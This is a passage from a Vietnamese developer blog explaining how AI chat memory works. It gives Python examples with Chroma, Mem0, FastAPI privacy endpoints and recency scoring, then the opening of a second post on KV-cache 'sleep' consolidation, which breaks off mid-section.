Loại memory này quan trọng bởi vì nó cho phép agent hồi tưởng: "À, tuần trước mình và user đã thảo luận về vấn đề JWT expiration — liên quan đến câu hỏi hôm nay không nhỉ?"

• Lưu ở: Vector database (để semantic search)
• Ví dụ: "Ngày 20/3, user hỏi về Docker networking issue và mình đề xuất dùng overlay network", "Ngày 22/3, user báo overlay network hoạt động tốt, đóng ticket"
• Lifetime: Indefinite với optional archiving (move sang cold storage sau 6 tháng)
• Truy vấn: Kết hợp semantic similarity + timestamp filtering

ChatGPT hiện tại đưa vào context khoảng 40 entries gần nhất trong prompt. Phần còn lại vẫn được lưu nhưng cần explicit retrieval khi có semantic match đủ mạnh.

Đây chính là lý do tại sao ChatGPT có thể nhớ "Anh đang build SaaS về HR management" dù bạn mention điều đó 3 tuần trước — episodic memory của câu đó vẫn còn trong vector DB, và khi bạn hỏi câu liên quan, retrieval engine tìm ra nó.

Loại 3: Extracted Knowledge (Semantic Memory)

Ví von: Như ghi chú tóm tắt của một sinh viên giỏi — không phải chép nguyên bài giảng, mà trích lọc ra những insight quan trọng, có cấu trúc, dễ tra cứu.

Đây là kết quả của bước information extraction từ Conversation History. Thay vì lưu nguyên cuộc hội thoại dài 50 tin nhắn, engine trích xuất ra:

"User đang build B2B SaaS về HR management, tech stack: Next.js 14 App Router + Supabase + Tailwind, deploy Vercel, prefer Server Components, tránh client-side fetching khi không cần thiết."

Chỉ vài dòng nhưng capture được đủ context để cá nhân hóa.

• Lưu ở: Hybrid (structured + vector) để vừa tìm kiếm semantic vừa filter chính xác
• Lifecycle: Được update và merge khi có thông tin mới. Ví dụ: nếu sau đó bạn nói "Mình vừa chuyển từ Supabase sang PlanetScale", engine update memory thay vì tạo duplicate
• Đặc điểm: Đây là loại memory "cao cấp" nhất — nó không phải raw data mà là curated knowledge về user

Loại 4: Active Context (Working Memory)

Ví von: Như RAM trong máy tính — cực nhanh, cực accessible, nhưng chỉ tồn tại khi đang chạy. Tắt máy là mất.

Đây là cái mà dân AI hay gọi là "in-context memory" — toàn bộ conversation hiện tại đang nằm trong context window của model.

• Lưu ở: Prompt buffer (trực tiếp trong context window)
• Ví dụ: 5–10 tin nhắn gần nhất trong session hiện tại
• Lifetime: Session only — hết session là flush vào Episodic Memory (nếu có gì đáng lưu) rồi xóa
• Tốc độ truy cập: Instant — vì model đang đọc trực tiếp, không cần retrieval

Mối quan hệ giữa 4 loại: Active Context → kết thúc session → flush vào Conversation History → extraction engine chạy → tạo Extracted Knowledge → cập nhật User Profile (nếu có thay đổi quan trọng). Đây là vòng lifecycle của memory.

4. Luồng hoạt động khi bạn gửi một tin nhắn

Mình sẽ trace từng bước để mọi người thấy rõ. Ví dụ bạn gõ: "Hôm nay mình muốn refactor cái authentication module"

Bước quan trọng nhất chính là Retrieval Phase — hệ thống tìm kiếm memories nào liên quan nhất với câu hỏi hiện tại, không phải nhét hết tất cả vào.

Cả flow này diễn ra trong vài hundred milliseconds — đó là lý do response vẫn nhanh dù phải query thêm database.

Điểm thú vị về Conflict Detection:

Hệ thống phải check xem memories có mâu thuẫn nhau không trước khi đưa vào context. Ví dụ: memory A nói "Dùng Pages Router", memory B nói "Dùng App Router" — nếu nhét cả hai vào context, model bị confuse.

Giải pháp phổ biến: timestamp-based resolution — memory mới hơn được ưu tiên, memory cũ được đánh dấu là deprecated hoặc xóa.

5. Tự build Memory System cho Agent của bạn

Phần thú vị nhất. Mình sẽ đi qua 3-tier architecture — kiến trúc đơn giản nhất nhưng đủ mạnh cho hầu hết use cases.

Tier 1: Short-Term Context Memory — Cái đơn giản nhất

Chỉ là một list các messages được giữ trong session, tự động trim khi vượt quá giới hạn:

# short_term_memory.py
conversation_history = []
MAX_HISTORY = 10

def add_message(role: str, content: str):
    """Thêm message vào short-term memory"""
    conversation_history.append({
        "role": role,
        "content": content
    })
    # Trim nếu vượt quá giới hạn — xóa message cũ nhất
    if len(conversation_history) > MAX_HISTORY:
        conversation_history.pop(0)

def get_history() -> list:
    return conversation_history

def clear_history():
    conversation_history.clear()

Dùng cho: Context tức thời trong session hiện tại. Không cần database, không cần embedding — đơn giản nhất nhưng hiệu quả cho chat thông thường.

Tier 2: User Profile Memory — Dữ liệu người dùng lâu dài

Lưu trong structured database. Với prototype, SQLite hoặc thậm chí JSON file là đủ:

# user_profile.py
import json
import os
from datetime import datetime

PROFILE_DB_PATH = "user_profiles.json"

def load_profiles():
    if os.path.exists(PROFILE_DB_PATH):
        with open(PROFILE_DB_PATH, "r") as f:
            return json.load(f)
    return {}

def save_profiles(profiles):
    with open(PROFILE_DB_PATH, "w") as f:
        json.dump(profiles, f, indent=2, ensure_ascii=False)

def get_user_profile(user_id: str) -> dict:
    profiles = load_profiles()
    return profiles.get(user_id, {})

def update_user_profile(user_id: str, updates: dict):
    """Update profile — merge với data hiện có"""
    profiles = load_profiles()
    if user_id not in profiles:
        profiles[user_id] = {"created_at": datetime.now().isoformat()}
    
    profiles[user_id].update(updates)
    profiles[user_id]["updated_at"] = datetime.now().isoformat()
    save_profiles(profiles)

# Ví dụ sử dụng
update_user_profile("user_123", {
    "preferences": {
        "language": "Vietnamese",
        "programming_language": "TypeScript",
        "framework": "Next.js",
        "response_style": "concise_with_examples"
    },
    "facts": {
        "role": "Backend Developer",
        "project": "HR SaaS startup",
        "timezone": "Asia/Ho_Chi_Minh"
    }
})

Trong production, replace JSON file bằng PostgreSQL hoặc MongoDB. Schema tương tự, chỉ đổi storage layer.

Tier 3: Episodic Long-Term Memory với Vector Database

Đây là phần quan trọng nhất khi muốn agent "nhớ" long-term. Cần một vector database để lưu và tìm kiếm theo semantic similarity.

So sánh 3 lựa chọn phổ biến:

Implement với Chroma (nhanh nhất để bắt đầu):

# episodic_memory.py
import chromadb
from datetime import datetime
from openai import OpenAI

# Chroma client — local, không cần server
chroma_client = chromadb.Client()
collection = chroma_client.get_or_create_collection(
    name="episodic_memories",
    metadata={"hnsw:space": "cosine"}  # Dùng cosine similarity
)

openai_client = OpenAI()

def get_embedding(text: str) -> list:
    """Tạo embedding từ text dùng OpenAI"""
    response = openai_client.embeddings.create(
        input=text,
        model="text-embedding-3-small"  # 1536 dimensions, rẻ và tốt
    )
    return response.data[0].embedding

def save_episodic_memory(
    user_id: str,
    content: str,
    metadata: dict = None
):
    """Lưu một memory mới vào vector DB"""
    embedding = get_embedding(content)
    memory_id = f"{user_id}_{datetime.now().timestamp()}"
    
    collection.add(
        documents=[content],
        embeddings=[embedding],
        metadatas=[{
            "user_id": user_id,
            "timestamp": datetime.now().isoformat(),
            "topic": metadata.get("topic", "general") if metadata else "general",
            **(metadata or {})
        }],
        ids=[memory_id]
    )
    return memory_id

def search_relevant_memories(
    user_id: str,
    query: str,
    n_results: int = 5
) -> list[str]:
    """Tìm top-N memories liên quan nhất với query"""
    query_embedding = get_embedding(query)
    
    results = collection.query(
        query_embeddings=[query_embedding],
        n_results=n_results,
        where={"user_id": user_id},  # Filter theo user — quan trọng!
        include=["documents", "metadatas", "distances"]
    )
    
    if not results["documents"][0]:
        return []
    
    # Trả về danh sách memories đã sort theo relevance
    memories = []
    for doc, meta, dist in zip(
        results["documents"][0],
        results["metadatas"][0],
        results["distances"][0]
    ):
        memories.append({
            "content": doc,
            "timestamp": meta.get("timestamp"),
            "relevance_score": 1 - dist  # Convert distance → similarity score
        })
    
    return memories

def delete_user_memories(user_id: str):
    """Xóa toàn bộ memories của một user — cho privacy control"""
    results = collection.get(where={"user_id": user_id})
    if results["ids"]:
        collection.delete(ids=results["ids"])

6. Dùng Mem0 — Thư viện memory all-in-one

Nếu không muốn tự build từ đầu, Mem0 là lựa chọn cực hay. Nó wrap cả 3 tiers trên vào một interface đơn giản, cộng thêm conflict resolution và deduplication tự động:

pip install mem0ai

Cấu hình cơ bản với OpenAI + Chroma (local):

# mem0_basic.py
from mem0 import Memory

# Config đơn giản nhất — dùng OpenAI embedding, Chroma local
config = {
    "llm": {
        "provider": "openai",
        "config": {
            "model": "gpt-4o-mini",
            "api_key": "your-openai-api-key"
        }
    },
    "embedder": {
        "provider": "openai",
        "config": {
            "model": "text-embedding-3-small"
        }
    },
    "vector_store": {
        "provider": "chroma",
        "config": {
            "collection_name": "agent_memories",
            "path": "./chroma_db"  # Local storage
        }
    }
}

m = Memory.from_config(config)

# Lưu memories từ conversation
messages = [
    {"role": "user", "content": "Mình đang build một SaaS dùng Next.js và Supabase"},
    {"role": "assistant", "content": "Hay đó! Bạn đang dùng App Router hay Pages Router?"},
    {"role": "user", "content": "App Router, và mình thích Server Components hơn"},
]
result = m.add(messages, user_id="user_123")
print(result)
# → {'results': [{'memory': 'User đang build SaaS với Next.js App Router + Supabase, thích Server Components', 'event': 'ADD'}]}
# Mem0 tự extract insight từ conversation — không cần bạn làm thủ công!

# Search memories liên quan
relevant = m.search(query="Next.js setup và deployment", user_id="user_123")
for mem in relevant["results"]:
    print(f"Memory: {mem['memory']}")
    print(f"Score: {mem['score']:.3f}")
# → Memory: User đang build SaaS với Next.js App Router + Supabase, thích Server Components
# → Score: 0.892

Config production với Pinecone:

# mem0_production.py
from mem0 import Memory

config = {
    "llm": {
        "provider": "openai",
        "config": {
            "model": "gpt-4o-mini",
            "api_key": "your-openai-api-key"
        }
    },
    "embedder": {
        "provider": "openai",
        "config": {
            "model": "text-embedding-3-small"
        }
    },
    "vector_store": {
        "provider": "pinecone",
        "config": {
            "api_key": "your-pinecone-api-key",
            "index_name": "agent-memory-prod",
            "dimension": 1536,
            "metric": "cosine",
            "spec": {
                "serverless": {
                    "cloud": "aws",
                    "region": "us-east-1"
                }
            }
        }
    },
    # Thêm graph store nếu muốn relationship-based memory
    "graph_store": {
        "provider": "neo4j",
        "config": {
            "url": "bolt://localhost:7687",
            "username": "neo4j",
            "password": "your-password"
        }
    }
}

m = Memory.from_config(config)

Các operations quan trọng của Mem0:

# Thêm memory
m.add(messages, user_id="user_123")

# Search
results = m.search("deployment setup", user_id="user_123", limit=5)

# Xem tất cả memories của user
all_memories = m.get_all(user_id="user_123")

# Update một memory cụ thể
m.update(memory_id="abc123", data="User đã chuyển sang PlanetScale thay Supabase")

# Xóa một memory
m.delete(memory_id="abc123")

# Xóa toàn bộ memories của user (quan trọng cho privacy!)
m.delete_all(user_id="user_123")

# Memory history — xem quá trình thay đổi của một memory
history = m.history(memory_id="abc123")

7. Tích hợp vào Agent pipeline hoàn chỉnh

Giờ ghép tất cả lại thành một agent thực sự có memory:

# memory_agent.py
from mem0 import Memory
from openai import OpenAI
from user_profile import get_user_profile, update_user_profile

# Initialize
mem0 = Memory.from_config(config)  # Config từ phần trên
openai_client = OpenAI()

# Short-term: giữ 10 tin nhắn gần nhất
session_history = []
MAX_SESSION_HISTORY = 10

def build_system_prompt(user_id: str, user_query: str) -> str:
    """Build system prompt có đầy đủ memory context"""
    
    # 1. Lấy user profile
    profile = get_user_profile(user_id)
    profile_text = ""
    if profile:
        prefs = profile.get("preferences", {})
        facts = profile.get("facts", {})
        profile_text = f"""
Thông tin về user:
- Role: {facts.get('role', 'Unknown')}
- Tech stack: {prefs.get('programming_language', 'Unknown')} / {prefs.get('framework', 'Unknown')}
- Project: {facts.get('project', 'Unknown')}
- Response style: {prefs.get('response_style', 'balanced')}
"""
    
    # 2. Search episodic memories liên quan đến query hiện tại
    relevant_memories = mem0.search(
        query=user_query,
        user_id=user_id,
        limit=5  # Chỉ lấy top-5 để tránh context overload
    )
    
    memories_text = ""
    if relevant_memories["results"]:
        memories_text = "\nNhững gì bạn biết về user từ các cuộc hội thoại trước:\n"
        for mem in relevant_memories["results"]:
            score = mem.get("score", 0)
            if score > 0.7:  # Chỉ lấy memories đủ relevant
                memories_text += f"- {mem['memory']}\n"
    
    system_prompt = f"""Bạn là một AI assistant thông minh và luôn nhớ context về user.
{profile_text}
{memories_text}
Hãy sử dụng context trên để trả lời một cách cá nhân hóa và nhất quán.
Đừng hỏi lại những thông tin bạn đã biết về user.
"""
    return system_prompt

def chat_with_memory(user_id: str, user_message: str) -> str:
    """Main chat function với full memory support"""
    
    # 1. Thêm user message vào session history
    session_history.append({"role": "user", "content": user_message})
    if len(session_history) > MAX_SESSION_HISTORY:
        session_history.pop(0)
    
    # 2. Build system prompt với memories
    system_prompt = build_system_prompt(user_id, user_message)
    
    # 3. Gọi LLM với full context
    messages = [{"role": "system", "content": system_prompt}] + session_history
    
    response = openai_client.chat.completions.create(
        model="gpt-4o",
        messages=messages,
        temperature=0.7
    )
    assistant_response = response.choices[0].message.content
    
    # 4. Thêm response vào session history
    session_history.append({"role": "assistant", "content": assistant_response})
    if len(session_history) > MAX_SESSION_HISTORY:
        session_history.pop(0)
    
    # 5. Lưu cặp conversation vào long-term memory (async tốt hơn)
    mem0.add(
        messages=[
            {"role": "user", "content": user_message},
            {"role": "assistant", "content": assistant_response}
        ],
        user_id=user_id
    )
    
    # 6. Extract và update profile nếu có info mới
    _auto_update_profile(user_id, user_message)
    
    return assistant_response

def _auto_update_profile(user_id: str, user_message: str):
    """Tự động detect và update profile từ message"""
    # Simple heuristics — production cần dùng LLM để extract
    message_lower = user_message.lower()
    
    updates = {}
    if "typescript" in message_lower or " ts " in message_lower:
        updates["programming_language"] = "TypeScript"
    if "next.js" in message_lower or "nextjs" in message_lower:
        updates["framework"] = "Next.js"
    if "react" in message_lower and "native" not in message_lower:
        updates["framework"] = "React"
    
    if updates:
        current = get_user_profile(user_id)
        prefs = current.get("preferences", {})
        prefs.update(updates)
        update_user_profile(user_id, {"preferences": prefs})


# ============================================================
# Demo sử dụng
# ============================================================

if __name__ == "__main__":
    user_id = "user_123"
    
    # Lần 1: Giới thiệu về dự án
    response1 = chat_with_memory(
        user_id,
        "Mình đang build một app HR management với Next.js 14 và Supabase"
    )
    print("Response 1:", response1[:200])
    
    # Lần 2: Câu hỏi về auth (agent sẽ nhớ context từ lần 1)
    response2 = chat_with_memory(
        user_id,
        "Cách tốt nhất để implement authentication là gì?"
    )
    print("Response 2:", response2[:200])
    # Agent biết bạn dùng Next.js + Supabase → recommend Supabase Auth, không phải generic answer
    
    print("\n--- Memories được lưu: ---")
    all_mems = mem0.get_all(user_id=user_id)
    for mem in all_mems["results"]:
        print(f"  • {mem['memory']}")

8. Recency + Relevance Scoring — Bí quyết chọn đúng memory

Không phải memory nào cũng quan trọng như nhau. Memory từ tuần trước về cùng topic thì relevant hơn memory từ 6 tháng trước về topic khác. Cần kết hợp semantic similarity và recency decay:

# memory_scorer.py
import math
from datetime import datetime, timezone

def compute_recency_weight(
    memory_timestamp: str,
    decay_rate: float = 0.1
) -> float:
    """
    Tính recency weight theo exponential decay.
    Memory càng cũ → weight càng thấp.
    decay_rate: 0.1 ≈ half-life ~7 ngày
    """
    memory_dt = datetime.fromisoformat(memory_timestamp)
    if memory_dt.tzinfo is None:
        memory_dt = memory_dt.replace(tzinfo=timezone.utc)
    
    now = datetime.now(timezone.utc)
    days_ago = (now - memory_dt).total_seconds() / 86400  # Convert to days
    
    return math.exp(-decay_rate * days_ago)

def score_and_rank_memories(
    memories: list[dict],
    semantic_weight: float = 0.7,
    recency_weight: float = 0.3
) -> list[dict]:
    """
    Rank memories dựa trên kết hợp:
    - Semantic similarity score (từ vector search)
    - Recency score (decay theo thời gian)
    
    semantic_weight + recency_weight = 1.0
    """
    scored = []
    
    for mem in memories:
        semantic_score = mem.get("score", 0.5)  # Score từ vector DB
        recency_score = compute_recency_weight(
            mem.get("timestamp", datetime.now().isoformat())
        )
        
        # Combined score
        final_score = (
            semantic_weight * semantic_score +
            recency_weight * recency_score
        )
        
        scored.append({
            **mem,
            "semantic_score": semantic_score,
            "recency_score": recency_score,
            "final_score": final_score
        })
    
    # Sort by final score descending
    return sorted(scored, key=lambda x: x["final_score"], reverse=True)


# Ví dụ sử dụng
raw_memories = [
    {
        "memory": "Dùng Supabase cho database",
        "score": 0.85,
        "timestamp": "2026-01-15T10:00:00"  # 5 tháng trước — cũ
    },
    {
        "memory": "Vừa chuyển sang PlanetScale",
        "score": 0.70,
        "timestamp": "2026-05-30T14:00:00"  # 1 tuần trước — mới
    },
    {
        "memory": "Thích dùng TypeScript strict mode",
        "score": 0.60,
        "timestamp": "2026-06-01T09:00:00"  # 5 ngày trước
    }
]

ranked = score_and_rank_memories(raw_memories)
for mem in ranked:
    print(f"Score: {mem['final_score']:.3f} | {mem['memory']}")

# Output:
# Score: 0.713 | Vừa chuyển sang PlanetScale  ← Mới + khá relevant → top
# Score: 0.634 | Thích dùng TypeScript strict mode
# Score: 0.622 | Dùng Supabase cho database  ← Cũ, bị đẩy xuống dù semantic score cao

Đây là lý do tại sao khi bạn nói "Vừa chuyển từ Supabase sang PlanetScale", ChatGPT sẽ dùng thông tin mới nhất chứ không tiếp tục nói về Supabase.

9. Privacy Controls — Đừng bỏ qua phần này

Đây là phần mà nhiều dev khi build memory system hay bỏ qua, nhưng lại cực kỳ quan trọng khi đưa lên production. Đặc biệt khi anh em có user thật, dữ liệu thật.

API endpoints bắt buộc phải có khi build memory system:

# privacy_controls.py
from fastapi import FastAPI, HTTPException
from mem0 import Memory

app = FastAPI()
m = Memory.from_config(config)

@app.get("/users/{user_id}/memories")
def list_memories(user_id: str):
    """
    [BẮTBUỘC] User xem toàn bộ memories của mình.
    Theo GDPR Article 15: "right to access"
    """
    memories = m.get_all(user_id=user_id)
    return {
        "user_id": user_id,
        "total_count": len(memories["results"]),
        "memories": [
            {
                "id": mem["id"],
                "content": mem["memory"],
                "created_at": mem.get("created_at"),
                "updated_at": mem.get("updated_at")
            }
            for mem in memories["results"]
        ]
    }

@app.delete("/users/{user_id}/memories/{memory_id}")
def delete_memory(user_id: str, memory_id: str):
    """
    [BẮTBUỘC] Xóa một memory cụ thể.
    Theo GDPR Article 17: "right to be forgotten"
    """
    # Verify memory belongs to this user trước khi xóa
    all_mems = m.get_all(user_id=user_id)
    memory_ids = [mem["id"] for mem in all_mems["results"]]
    
    if memory_id not in memory_ids:
        raise HTTPException(404, "Memory not found for this user")
    
    m.delete(memory_id=memory_id)
    return {"message": f"Memory {memory_id} deleted successfully"}

@app.delete("/users/{user_id}/memories")
def delete_all_memories(user_id: str):
    """
    [BẮTBUỘC] Xóa toàn bộ memories — "Reset memory"
    Cực kỳ quan trọng cho privacy compliance
    """
    m.delete_all(user_id=user_id)
    return {"message": f"All memories for user {user_id} deleted"}

@app.post("/chat/temporary")
def chat_temporary(message: str):
    """
    [NÊN CÓ] Chat không lưu bất kỳ thứ gì — Temporary/Incognito mode
    User dùng khi không muốn AI ghi nhớ conversation này
    """
    response = openai_client.chat.completions.create(
        model="gpt-4o",
        messages=[{"role": "user", "content": message}]
        # KHÔNG gọi m.add() ở đây
        # KHÔNG lưu vào session history
    )
    return {"response": response.choices[0].message.content}

Data Minimization — Những thứ KHÔNG được lưu:

# data_sanitizer.py
import re

SENSITIVE_PATTERNS = [
    r'\b\d{3}-\d{2}-\d{4}\b',          # SSN (US)
    r'\b\d{9,12}\b',                      # CMND/CCCD
    r'\b(?:\d{4}[\s-]?){3}\d{4}\b',     # Credit card
    r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b',  # Email
    r'\b(?:\+84|0)\d{9,10}\b',           # Số điện thoại VN
]

def sanitize_before_storing(text: str) -> str:
    """
    Xóa thông tin nhạy cảm trước khi lưu vào memory.
    Luôn chạy function này trước khi gọi m.add()
    """
    for pattern in SENSITIVE_PATTERNS:
        text = re.sub(pattern, "[REDACTED]", text)
    return text

# Sử dụng
safe_content = sanitize_before_storing(user_message)
m.add([{"role": "user", "content": safe_content}], user_id=user_id)

10. MemGPT / Letta — Khi bạn muốn đi sâu hơn nữa

Đây là phần bonus cho anh em muốn hiểu kiến trúc memory phức tạp hơn.

MemGPT (nay là Letta) là một kiến trúc khác hẳn. Thay vì memory được inject vào prompt từ bên ngoài, Letta cho phép LLM tự quyết định khi nào cần đọc/ghi memory.

Hình dung thế này:

Nếu hệ thống memory thông thường giống như y tá chuẩn bị hồ sơ sẵn cho bác sĩ, thì MemGPT giống như bác sĩ có quyền tự mở ngăn kéo hồ sơ bất cứ lúc nào trong quá trình khám — tự quyết định khi nào cần tra cứu thêm thông tin cũ.

# Letta client cơ bản
from letta import create_client

client = create_client()

# Tạo agent với memory capabilities
agent = client.create_agent(
    name="memory_agent",
    memory_blocks=[
        {
            "label": "human",  # Memories về user
            "value": "User là một Backend Developer đang build HR SaaS",
            "limit": 2000  # Char limit cho memory block này
        },
        {
            "label": "persona",  # Personality của agent
            "value": "Tôi là một AI assistant thông minh, luôn nhớ context",
            "limit": 1000
        }
    ],
    tools=["archival_memory_insert", "archival_memory_search"]
    # Agent có thể tự gọi tools này để đọc/ghi long-term memory
)

# Chat với agent — nó tự manage memory
response = client.send_message(
    agent_id=agent.id,
    message="Cách tốt nhất để optimize Postgres queries là gì?",
    role="user"
)
print(response.messages[-1].text)

Điểm khác biệt then chốt của MemGPT:

• OS-inspired paging: LLM có "main context" (như RAM) và "archival storage" (như disk). Khi main context đầy, LLM tự quyết định gì cần "swap out" vào archival
• Self-directed retrieval: LLM chủ động search archival memory khi cần, không phải hệ thống tự inject
• Function calling: Dùng tool calls để đọc/ghi memory, tạo vòng lặp suy nghĩ phức tạp hơn

Letta phù hợp cho use cases cần long-horizon reasoning — agent phải nhớ và liên kết thông tin từ rất nhiều sessions khác nhau.

11. Bài học kinh nghiệm

BÀI HỌC KINH NGHIỆM:

Mình đã thử build memory system cho một internal chatbot của team và học được khá nhiều thứ theo cách... đau nhất.

Bài học 1: Context Window Budget — Đừng tham lam

Lần đầu build, mình nhét hết toàn bộ memories liên quan vào prompt. Kết quả: model bị context overload, response chất lượng giảm rõ rệt, thậm chí hallucinate khi phải "đọc" quá nhiều thứ cùng lúc.

Giải pháp: Hard limit ở 5–7 memories tối đa, kết hợp với relevance threshold (chỉ lấy memories có score > 0.7). Kém quantity nhưng quality tốt hơn rất nhiều.

Bài học 2: Conflict Resolution là mandatory, không phải optional

User thay đổi tech stack, đổi job, đổi project — những thứ này xảy ra thường xuyên hơn mình nghĩ. Nếu không có conflict resolution, agent sẽ nói những thứ mâu thuẫn nhau và mất đi sự tin tưởng của user.

Giải pháp: Dùng Mem0 (nó handle deduplication và conflict tốt hơn tự build từ đầu), hoặc nếu tự build thì implement "supersede" mechanism — khi có memory mới về cùng topic, mark memory cũ là deprecated.

Bài học 3: Lưu quá nhiều ≠ Nhớ tốt hơn

Lúc đầu mình lưu tất cả mọi thứ — kể cả những câu hỏi casual, những conversation không có giá trị. Kết quả: vector DB đầy toàn "rác", retrieval quality giảm vì nhiều irrelevant results.

Giải pháp: Implement memory worthiness filter — trước khi save, check xem memory này có đủ giá trị để lưu lâu dài không. Simple heuristic: chỉ lưu thông tin về preferences, facts, decisions — không lưu small talk.

def is_worth_storing(content: str) -> bool:
    """
    Heuristic đơn giản để filter trước khi lưu.
    Production nên dùng LLM để classify chính xác hơn.
    """
    # Quá ngắn → probably không có value
    if len(content.split()) < 5:
        return False
    
    # Các indicator của valuable memory
    valuable_keywords = [
        "đang dùng", "thích", "không thích", "prefer", "đang build",
        "project", "stack", "framework", "database", "deploy", "team",
        "requirement", "constraint", "goal", "objective"
    ]
    
    content_lower = content.lower()
    keyword_count = sum(1 for kw in valuable_keywords if kw in content_lower)
    
    return keyword_count >= 1  # Ít nhất 1 keyword có giá trị

Bài học 4: Privacy phải là first-class citizen

Khi add user thật vào test, mình mới realize là chưa có cơ chế nào để user xóa memories. Phải refactor lại khá nhiều. Từ bây giờ mình luôn design privacy controls trước khi code feature memory.

Kết luận

Tóm gọn lại những gì mình đã đi qua:

• ChatGPT "nhớ" bằng cách nhét memory context vào system prompt trước mỗi request — không phải bộ nhớ thật sự, nhưng hiệu quả tương đương
• Có 4 loại memory khác nhau với lifecycle và storage riêng: Profile, Episodic, Extracted Knowledge, và Active Context
• Kiến trúc 4 lớp: UI → Processing Engine → Storage → LLM Integration
• Build memory system không khó: bắt đầu với Chroma + Mem0 cho prototype, scale lên Pinecone cho production
• Recency + relevance scoring là bí quyết để chọn đúng memory cần đưa vào context
• Privacy controls là bắt buộc, không phải optional — visibility, deletion, temporary mode
• MemGPT/Letta nếu muốn đi sâu vào self-directed memory management

Nếu anh em đang build AI agent và muốn nó "thông minh hơn" theo thời gian, nhớ người dùng như một người bạn thực sự — memory system chính là missing piece.

Nguồn tham khảo:

• Agentman: Reverse Engineering ChatGPT Memory
• How ChatGPT Memory Works — Embrace The Red
• Mem0 Official Documentation
• OpenAI Memory FAQ
• Pinecone vs Weaviate vs Chroma Deep Dive
• Letta (MemGPT) Documentation
• ChromaDB Documentation

Xin chào anh em,

Một trong những lý do lớn nhất khiến thế giới dịch chuyển sang sử dụng Trí tuệ nhân tạo (AI) chính là khả năng vận hành vô hạn. Trong khi con người chỉ có thể làm việc hiệu quả từ 8 đến 10 tiếng mỗi ngày và bắt buộc phải dành 1/3 cuộc đời để ngủ nhằm tái tạo năng lượng, thì AI có thể hoạt động liên tục 24/7 không một phút nghỉ ngơi. Chúng ta mặc định rằng máy móc thì không biết mệt mỏi, và việc ép chúng xử lý hàng triệu dòng lệnh liên tục là điều hiển nhiên.

Nhưng dưới góc độ kỹ thuật, đã bao giờ bạn tự hỏi: "Liệu một mô hình ngôn ngữ lớn có cần đi ngủ hay không? Và nếu cho nó nghỉ ngơi, hiệu suất làm việc của nó có thực sự tốt hơn?"

Câu hỏi nghe có vẻ mang tính khá hài hước này thực chất có lẽ lại là lời giải cho một bài toán hóc búa nhất của ngành công nghiệp AI hiện nay: Xử lý ngữ cảnh siêu dài (Long-Context). AI không mệt mỏi về mặt sinh học, nhưng chúng đang "kiệt quệ" về mặt tài nguyên phần cứng. Hôm nay, tôi sẽ cùng anh em tìm hiểu một tư duy kiến trúc cực kỳ dị: Cho AI "đi ngủ" để cứu vãn thanh RAM đang quá tải của anh em ta.

1. Bản chất kỹ thuật – Tại sao AI càng cày lâu càng... "kiệt sức"?

Để hiểu tại sao AI bị "ngáo" khi chat dài, chúng ta phải lột trần cái "tử huyệt" nằm sâu trong kiến trúc Transformer: KV Cache (Bộ nhớ đệm Key-Value).

Anh em cứ tưởng tượng KV Cache nó giống như cuốn sổ tay ghi nhớ của Claude. Khi anh em bắt nó đọc cả một codebase hoặc file log hệ thống dài dằng dặc, nó phải ghi lại chính xác từng từ vào cuốn sổ này để đảm bảo câu trả lời tiếp theo không bị lạc đề. Đối với dân dev, cái cơ chế lưu trữ "cố chấp" này gây ra hai quả tạ cực nặng cho hệ thống:

• VRAM phình to kinh hoàng: Càng nạp nhiều token mới, "cuốn sổ" KV Cache càng dày lên. Khi xử lý các văn bản siêu dài, dung lượng bộ nhớ đệm này tăng tiến một cách khủng khiếp, thậm chí vượt xa kích thước trọng số gốc của chính mô hình. Điều đó dẫn đến cái lỗi ám ảnh mọi thời đại: Out of Memory (OOM) sập nguồn GPU!
• Độ trễ tăng theo hàm bình phương ($O(n^2)$): Vì cơ chế Attention bắt buộc mô hình phải quét lại toàn bộ dữ liệu trong quá khứ để xử lý từ hiện tại. Chuỗi bối cảnh càng dài, khối lượng tính toán càng nặng. Đó là lý do tại sao ban đầu AI phản hồi rất nhanh, nhưng sau một thời gian hội thoại thì càng ngày càng đuối .

Từ trước đến nay, anh em ta toàn giải quyết vấn đề này bằng những biện pháp tạm thời theo kiểu như:

• Nâng cấp hạ tầng phần cứng (Đốt tiền mua thêm GPU).
• Cắt bỏ bớt ngữ cảnh cũ (Truncation) $\rightarrow$ Chấp nhận AI bị "mất trí nhớ ngắn hạn".
• Dùng cửa sổ trượt (Sliding Window).

Nhưng tất cả đều không giải quyết được gốc rễ bài toán đòi hỏi tính nhất quán cao. Tình trạng này giống hệt việc anh em cố duy trì mở 500 tab Chrome cùng lúc để làm việc; hệ thống chắc chắn sẽ nghẽn mạch và tràn RAM.

Từ đây, một tư duy kiến trúc hoàn toàn mới được đặt ra: Thay vì cố giữ 500 cái tab đó hoạt động và làm tràn RAM, tại sao không cho hệ thống tạm thời tắt, nhưng đóng gói và nén thông tin cốt lõi vào một dạng bộ nhớ bền vững hơn?

Đó chính là lúc chúng ta bảo AI: "Thôi đi ngủ đi em!"

2. Cơ chế "Ngủ" – Chuyển hóa ký ức ngắn hạn thành "Trọng số phản ứng nhanh"

Để giải quyết bài toán nghẽn cổ chai này, các kỹ sư hệ thống đã copy y nguyên cơ chế sinh học của não người: Hợp nhất bộ nhớ (Memory Consolidation). Khi anh em ta ngủ, não bộ sẽ chuyển dịch các ký ức ngắn hạn từ vùng Hải mã (Hippocampus) sang vùng Vỏ não (Neocortex) để lưu trữ dài hạn.

Theo các đề xuất kiến trúc đang được nghiên cứu thử nghiệm, chu kỳ hoạt động của AI được tách đôi thành hai trạng thái: Thức và Ngủ.

     ☀️ TRẠNG THÁI THỨC (Online Phase)
 └── Chat với User
 └── KV Cache siêu tối giản (Chỉ nhớ vài câu thoại gần nhất)
 └── Tốc độ nhả chữ nhanh, duy trì ở mức hằng số
       │
       ▼ (Khi hệ thống rơi vào trạng thái nhàn rỗi - Idle)
       │
 💤 TRẠNG THÁI NGỦ (Offline Phase)
 └── Lôi KV Cache cũ ra "tiêu hóa" ngầm bằng Gradient Descent
 └── Ép thông tin "hóa thạch" vào ma trận Fast Weights
 └── Flush Cache: Xóa sạch 100% dữ liệu nháp khỏi VRAM

☀️ Trạng thái Thức (Online Inference Phase)

